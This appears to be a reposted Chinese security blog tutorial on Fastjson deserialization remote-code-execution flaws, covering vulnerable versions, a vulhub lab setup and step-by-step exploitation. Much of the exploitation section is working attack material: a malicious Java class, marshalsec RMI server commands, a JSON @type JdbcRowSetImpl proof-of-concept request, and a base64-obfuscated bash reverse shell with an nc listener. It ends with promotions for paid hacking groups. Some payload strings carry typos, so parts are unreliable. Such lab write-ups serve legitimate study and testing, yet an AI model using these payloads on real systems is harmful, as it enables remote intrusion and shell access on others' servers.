干货 | Fastjson漏洞详解
2023-5-13 20:2:56 Author: 渗透安全团队(查看原文) 阅读量:15 收藏

由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

免责声明

由于传播、利用本公众号狐狸说安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号狐狸说安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!

0x01 Fsatjson概述

Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到JavaBean。
Fastjson是一个流行的库,可以将数据在json和java object之间相互转换,fastison在序列化和反序列化过程中没有使用Java自带的序列化机制,而是自定义了另一套机制。其实,对于JSON框架来说想要把一个Java对象转换成字符串,有两种方式:
1.基于属性2.基于 setter/getter

0x02 RMI

提供 RMI 包。RMI 指的是远程方法调用 (Remote Method Invocation)。它是一种机制,能够让在某个 Java虚拟机上的对象调用另一个 Java 虚拟机中的对象上的方法。可以用此方法调用的任何对象必须实现该远程接口。调用这样一个对象时,其参数为 "marshalled" 并将其从本地虚拟机发送到远程虚拟机(该远程虚拟机的参数为 "unmarshalled")上。该方法终止时,将编组来自远程机的结果并将结果发送到调用方的虚拟机。如果方法调用导致抛出异常,则该异常将指示给调用方。

简明的说rmi是一种机制,作用就是远程方法的调用,远程方法调用其实就是一个机器可以执行另一个机器的指令 注意:不会回显,所以想要证实是否存在有fastjson漏洞,可以借助第三方dnslog平台

0x03 历史漏洞

Fastjson <=1.2.24 反序列化远程命令执行漏洞 Fastjson <=1.2.41 反序列化远程命令执行漏洞 Fastjson <=1.2.42 反序列化远程命令执行漏洞 Fastjson <=1.2.43 反序列化远程命令执行漏洞 Fastjson <=1.2.45 反序列化远程命令执行漏洞 Fastjson <=1.2.47 反序列化远程命令执行漏洞 Fastjson <=1.2.62 反序列化远程命令执行漏洞 Fastjson <=1.2.66 反序列化远程命令执行漏洞

Fastjson反序列化漏洞 

1.2.24:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的setter/getter方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。 

1.2.47:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

0x04 环境搭建

系统:Kali-linux
靶场:vulhub
安装maven:apt安装:
sudo apt install maven
源码安装:
1.wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
2.mkdir /opt/maven
3.tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
4.vim /etc/profile
5.export MAVEN_HOME=/opt/maven/apache-maven-3.6.3 export PATH=$MAVEN_HOME/bin:$PATH (在profile文件最下方添加)
6.source /etc/profile (使其生效)
7.mvn -version (验证是否成功
安装marshalsec:
1.git clone https://github.com/mbechler/marshalsec.git
2.cd marshalsec/
3.mvn clean package -DskipTests(编译工具)
4.cd target/
5.java-cp marshalsec-0.0.3-SNAPSHOT-all.jar
6.marshalsecjndiRMIRefServer"http://(启动python服务的ip):(启动python服务的端口)/#dnslog"999
靶场启动:
1.cd vulhub
2.cd fastjson
3.cd 1.2.24-rce
4.docker-compose up -d

0x05 Fastjson判断方式

在vulhub起一个靶场环境,以1.2.24为例
访问ip:8090
如回显以下页面,则搭建成功

使用burpsuite抓包,放到重发器
判断Fastjson两种方式:
将GET请求方式更改为POST请求,并随便输入一个json格式数据,send数据包使其报错,看回显

注意:在version<=1.2.24时,报错回显是没有fastjson特征的
报错 com.alibaba.fastjson.JSON 特征
version<1.2.24
同样的判断方式,抓包看报错回显,会有com.alibaba.fastjson.JSON 特征

漏洞利用
开启vulhub对应靶场服务
安装marshalsec工具
Java本地写恶意类,比如:
import java.lang.Runtime;import java.lang.Process;
public class fastjson{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/sh", "ping user.`whoami`.dnslog平台生成的网址"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}
javac进行编译,生成class文件
本地使用python开启http服务,
Python3 -m http.server
为了使后面利用rmi机制去让靶场服务器访问我们生成的恶意class文件,并自动下载到靶场服务器
本地浏览器访问验证是否开启成功

使用marshalsec工具进行开启一个rmi服务
payload:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://python开启的http服务IP:PORT/#恶意class文件类名
自定义rmi端口
漏洞页面进行抓包

数据包改为POST
POC
POST / HTTP/1.1Host: IP:PORTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetlmpl", "dataSourceName":"rmi://开启rmi服务的ip:prot/恶意类名", "autoCommit":ture }}
Send 发包后会报错,但是在刚才恶意类中,写入了第三方dnslog平台生成的url,因此,会有请求记录,只需验证是否记录存在即可证实漏洞存在

如果想要反弹shell,则需要修改恶意类中代码为
import java.lang.Runtime;import java.lang.Process;
public class fastjson{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=}|{base64,-d}|{bash,-i}"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE= 为base64编码的IP和PORT } }}
然后NC进行监听端口 nc -lvvp PORT
漏洞页面抓包,按步骤更改数据,NC回弹shell


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247504661&idx=2&sn=6e2ccfd306d86989603d5290f9c9fbda&chksm=c1762ebaf601a7acb43fd19bee212ff54488abbd16dbd2d40fe8b57677299481dbda7cc07e17#rd
如有侵权请联系:admin#unsafe.sh